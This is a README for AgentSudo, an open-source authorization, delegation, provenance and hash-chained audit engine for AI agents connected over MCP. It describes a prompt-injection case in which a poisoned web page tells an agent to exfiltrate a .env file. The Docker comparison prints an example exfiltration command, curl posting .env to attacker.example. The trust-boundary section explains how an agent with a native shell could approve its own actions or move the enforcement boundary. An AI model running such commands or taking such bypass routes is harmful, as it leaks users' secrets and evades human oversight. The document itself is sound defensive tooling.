Agent Sudo

Agent_Sudo

Give AI agents bounded authority — not unchecked access.

AgentSudo is an authorization, delegation, provenance, and verifiable-audit engine for AI agents. AI agents should be able to act on their own — but not without limits, and not without a record. AgentSudo lets you define what an agent is authorized to do, delegate narrow authority that expires on its own, decide each action by the provenance of the instruction behind it, and keep a tamper-evident audit trail you can verify after the fact.

It runs locally today through the Model Context Protocol (MCP) — the first production-ready adapter and the recommended way to install it. MCP is how you connect it, not what it is.

Isn't this just another approval layer?

No — and that's the point. Claude Code, Cursor, and Codex already ask "do you approve this action?" Agent_Sudo answers different questions:

• Authorization — what is this agent allowed to do without a human in the loop?
• Delegation — how do you grant narrow authority (this path, 2 hours, 10 uses) that revokes itself?
• Provenance — when an action traces back to untrusted content (a fetched web page, a tool result), is it caught because of where it came from — not how it's worded?
• Verifiable audit — afterward, can you prove what the agent did, and that the log wasn't edited?

Approval prompts are one enforcement step inside that boundary. They are not the product.

Who it's for

• Local AI power users — [Claude Code](docs/integrations/mcpserversetup.md#claude-code), [Codex CLI](docs/integrations/mcpserversetup.md#codex-cli), Aider, and other MCP-based agents. Protect secrets, prevent destructive actions, enforce trust boundaries, and keep an accountable record.
• Agent runtimes & platforms — embed authorization, scoped delegation, provenance-based decisions, and verifiable audit instead of building them yourself. MCP is the mature adapter today; other runtime integrations exist but are earlier (see [Ecosystem](#ecosystem)).

What makes it different

• Provenance-based enforcement — decisions turn on an instruction's origin, so tool calls driven by untrusted content are escalated or denied by where they came from. (This is origin tracking, not a prompt-injection text detector.)
• Scoped, self-expiring delegation — temporary, resource-limited authority instead of binary allow/deny per click.
• Verifiable accountability — every decision is written to a SHA-256 hash-chained log that agent-sudo verify-audit can check for tampering.
• Authorization boundaries — set what's allowed once; the agent operates autonomously inside the boundary.

> Scope: Agent_Sudo governs the tool calls routed through it. It is not a sandbox, not an enterprise platform, and not a universal standard. See [Trust Boundaries](#trust-boundaries-what-is-and-is-not-protected) for exactly what it does and does not protect.

---

See the Difference in ~60 Seconds

The clearest illustration of what AgentSudo adds over an approval prompt is provenance-based enforcement. An agent reads a poisoned web page that tells it to exfiltrate your .env. AgentSudo denies the action because its origin is untrusted external content — not because it parsed the malicious wording — while allowing the user's own work, and writes a tamper-evident audit entry. The decision turns on where the instruction came from, independent of how the injection is phrased.

The demo lives in the repository (it is not part of the PyPI package), so clone first:

git clone https://github.com/Kisyntra/Agent_Sudo
cd Agent_Sudo/examples/exfil_demo && python demo.py

Walkthrough and expected output: [examples/exfil_demo/](examples/exfil_demo/).

---

Evaluate Agent_Sudo in 5 Minutes

One install, one command — runs the whole boundary (blocked → delegated → allowed once → denied → audit verified) in a throwaway temp directory:

pipx install agent-sudo-mcp && agent-sudo eval

No pipx? Other ways to install — same package, pick one

# Option A — pipx (recommended): isolates the tool and puts `agent-sudo` on your PATH everywhere
pipx install agent-sudo-mcp

# Option B — pip + virtualenv: installs into a project-local environment you activate
python3 -m venv venv && source venv/bin/activate
pip install agent-sudo-mcp

Both install the same PyPI package and give you the same two commands:

• agent-sudo — the CLI you run (eval, audit, delegate, setup, …).
• agent-sudo-mcp — the server your AI client launches for you. You never run this by hand; agent-sudo setup wires it into your client (see [MCP Adapter Setup](#mcp-adapter-setup)).

You should see:

Agent_Sudo Evaluation

[1/5] Blocked unsafe request ........ PASS
[2/5] Created delegation ............ PASS
[3/5] Delegated request allowed ..... PASS
[4/5] Token exhausted, denied again . PASS
[5/5] Audit chain verified .......... PASS

Result: PASS
Audit log: /tmp/agent-sudo-eval-.../audit.jsonl
Next: agent-sudo audit list /tmp/agent-sudo-eval-.../audit.jsonl

agent-sudo eval runs entirely in a temporary directory (no changes to your ~/.agent-sudo state), prints where the audit log lives, and exits non-zero if any step fails. For the step-by-step walkthrough, see [Evaluate AgentSudo in 5 Minutes](docs/evaluate5_minutes.md).

What You Will Validate

• A critical shell request through the Agent_Sudo engine does not execute by default.
• A one-use delegation allows exactly one matching request.
• The same request is denied after the delegation is consumed.
• The decisions are written to a hash-chained audit log that verifies cleanly (agent-sudo verify-audit).

---

MCP Adapter Setup

MCP is how Agent_Sudo connects to your agent — the wiring, not another install. You already installed the package in the step above; here agent-sudo setup plugs the agent-sudo-mcp server into your AI client, which then launches it for you automatically.

Confirm the install and locate the server binary your client will run:

agent-sudo --version
which agent-sudo-mcp

Beginner path — just run agent-sudo setup and pick your client from the menu; it prints the correct pasteable config:

agent-sudo setup
#   1. Claude Code
#   2. Codex CLI
#   3. Claude Desktop
#   4. Hermes
#   5. OpenClaw

Advanced / scripted path — name the target directly (no prompt, CI-friendly):

| Client | One-step setup | Guide | | :--- | :--- | :--- | | Claude Code | agent-sudo setup claude-code prints the claude mcp add … command | [Claude Code](docs/integrations/mcpserversetup.md#claude-code) | | Codex CLI | agent-sudo setup codex prints the ~/.codex/config.toml block | [Codex CLI](docs/integrations/mcpserversetup.md#codex-cli) | | Claude Desktop | agent-sudo setup claude-desktop prints the claude_desktop_config.json block | [Claude Desktop](docs/integrations/claudedesktopsetup.md) |

agent-sudo setup resolves the absolute agent-sudo-mcp path for you. (With no client and no terminal — e.g. in CI — agent-sudo setup lists the targets and exits non-zero rather than prompting.) Interactive approvals additionally need agent-sudo init-approval (see [First Run](docs/first_run.md)); the delegation-based evaluation does not.

For Claude Desktop, add Agent_Sudo at ~/Library/Application Support/Claude/claude_desktop_config.json, using the absolute path returned by which agent-sudo-mcp. Run agent-sudo setup claude-desktop to generate this block with paths resolved:

{
  "mcpServers": {
    "agent-sudo": {
      "command": "/ABS/PATH/TO/agent-sudo-mcp",
      "args": [
        "--audit-log", "/ABS/HOME/.agent-sudo/mcp-audit.jsonl",
        "--delegations-file", "/ABS/HOME/.agent-sudo/delegations.json",
        "--pending-approvals-file", "/ABS/HOME/.agent-sudo/pending_approvals.json",
        "--workspace", "/ABS/PATH/TO/your/project",
        "--notify", "--open-approval-terminal"
      ]
    }
  }
}

Use absolute paths: the client launches the server from a directory you do not control. --delegations-file is required — without it the server runs with no delegation store and agent-sudo delegate create tokens are silently ignored. --notify / --open-approval-terminal are macOS-only (no-ops elsewhere). Each flag and value is a separate string in args.

Restart Claude Desktop, ask it to use an Agent_Sudo tool, then verify the action was routed through the engine — pass the same audit-log path you configured:

agent-sudo audit list "$HOME/.agent-sudo/mcp-audit.jsonl"

If the action is not listed, it bypassed AgentSudo. A bare agent-sudo audit list reads a relative default and will look empty — pass the absolute path. For the full setup and trust-boundary details, see the [Claude Desktop Setup Guide](docs/integrations/claudedesktop_setup.md).

Platform support

Agent_Sudo's core — authorization, delegation, provenance, and the tamper-evident audit log — works the same on macOS, Linux, and Windows.

Two optional approval-UX flags are macOS-only today:

• --notify — desktop notification when an approval is pending (macOS osascript). There is no custom notification icon: the macOS notification shows the invoking process's icon, not an Agent_Sudo logo.
• --open-approval-terminal — auto-opens Terminal.app running the approval helper (macOS only).

On Linux and Windows these flags are silent no-ops, so agent-sudo setup omits them off macOS. Approve pending actions manually from any terminal:

agent-sudo pending                 # list pending approval requests
agent-sudo approve    # approve one (critical actions require your passphrase)

This manual workflow is the expected path on Linux/Windows and works on macOS too.

---

Trust Boundaries: What Is and Is Not Protected

Agent_Sudo only sees the tool calls that are routed through it. This is the single most important thing to understand before relying on it.

| ✅ Protected | ❌ Not protected | | :--- | :--- | | Tool calls made through the agent-sudo adapter (file reads/writes, shell, network) — gated, classified, and logged | A client's own native/built-in tools (e.g. Claude Desktop's built-in file or web tools) that don't go through Agent_Sudo | | Any runtime where dangerous tools are disabled or explicitly proxied through the engine | Other MCP servers you've installed that expose filesystem/shell/network directly to the agent | | Intent-level decisions: provenance, approval gates, delegation scopes, audit | OS-level isolation (use Docker/VM for that — see [comparison](docs/comparison/sandboxes.md)) |

How to make sure you're actually protected:

1. Route the agent's risky capabilities through the agent-sudo adapter (see the [Claude Desktop Setup Guide](docs/integrations/claudedesktopsetup.md)).
2. Disable or remove other tools that grant the agent direct file/shell/network access and bypass the engine.
3. Verify with the audit log. Ask the agent to perform an action, then run agent-sudo audit list. If the action is recorded, it went through AgentSudo. **If it is not in the log, it bypassed AgentSudo and was not protected** — that capability still needs to be disabled or routed through the engine.

This is a deliberate scope choice, not a defect: Agent_Sudo governs intent and authorization for the tools it mediates. Pair it with OS-level isolation (Docker/Firecracker) for environment containment.

What Agent_Sudo Does and Does Not Protect

What it is: a policy-and-provenance engine with human approval gates, scoped delegation, and a tamper-evident (hash-chained) audit log — for the tool calls routed through it.

Protects:

• Excessive agency — sensitive/critical actions (shell, critical file writes, external posts) require human approval before they run.
• Untrusted-origin actions — actions whose provenance is external content (e.g. a fetched web page) are escalated or denied based on where the instruction came from, not its wording.
• Tamper-evident audit — every decision is recorded to a SHA-256 hash-chained log that agent-sudo verify-audit can check for after-the-fact edits.
• Scoped delegation — temporary, resource-limited tokens grant narrow access that expires automatically.

Does not protect:

• Tools that bypass the engine — a client's native tools or other MCP servers that don't route through Agent_Sudo are neither gated nor audited.
• Prompt injection as a content-security problem — Agent_Sudo does not reliably detect injected instructions in prose. The built-in phrase detector is a best-effort tripwire that flags a few literal strings; the real protection is provenance-based escalation, not text matching.
• OS-level isolation — it is not a sandbox; pair it with Docker/Firecracker for filesystem/process containment.
• A compromised local environment — anyone (or any agent) with an ungoverned local shell can approve pending actions or edit Agent_Sudo's own control-plane files directly. An agent that can run host-native commands can change the workspace (agent-sudo workspace set), delegations, or config to move the enforcement boundary instead of routing through it. Disable or route the agent's native shell for the boundary to hold. Workspace changes are now recorded as workspace_changed events in the audit log, so a boundary change is visible to agent-sudo verify-audit even when it was made outside the engine.

See the [Security & Threat Model](docs/architecture/security_model.md) for the full analysis.

---

Why Agent_Sudo If I Already Use Docker?

A common question from security engineers and developers is: "Why do I need a policy engine if I am already isolating my agents in a Docker container, gVisor sandbox, or Firecracker microVM?"

The difference is a separation of concerns:

• Docker/Firecracker/Sandboxes answer: "Where can code run?" They isolate the process from the host operating system, preventing an agent from escaping to your local machine, but they do not monitor what the agent is doing inside the sandbox.
• Agent_Sudo answers: "Is this action authorized?" It operates at the intent and application logic level, evaluating the context, provenance, and authorization rules of individual actions before execution.

Practical Examples

Even inside a perfectly isolated Docker container, an agent with raw tool access can:

1. Exfiltrate Secrets: Run curl -X POST -d @.env https://attacker.example to leak your API keys. A VM allows outbound network requests by default; Agent_Sudo detects the source trust and target, blocking the exfiltration.
2. Write/Inject Code: Edit your project's main.py to insert a backdoor or dependency. While Docker prevents host pollution, it cannot prevent the agent from corrupting your project workspace. Agent_Sudo flags critical file edits and requires human confirmation.
3. Perform Social Engineering: Send automated emails, Slack messages, or Discord alerts to external users containing phishing links under the guise of the agent owner. Agent_Sudo gates communication tools based on user approvals.
4. Exceed Delegation Scopes: An agent running an automated build pipeline might accidentally or maliciously call tools outside its intended scope. Agent_Sudo uses temporary delegation tokens to automatically lock the agent out once its quota or time-to-live expires.

These two layers are complementary: use Docker/VM sandboxes to isolate environment resources, and use AgentSudo to validate tool execution intent. For a detailed technical breakdown, see [AgentSudo vs. Container/VM Sandboxes](docs/comparison/sandboxes.md).

---

> [!IMPORTANT] > Security Boundaries Notice: > - **Engine,

…

Source & license

This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: Kisyntra
• Source: Kisyntra/Agent_Sudo
• License: Apache-2.0
• Homepage: https://github.com/Kisyntra/Agent_Sudo

Install and usage instructions live in the source repository linked above.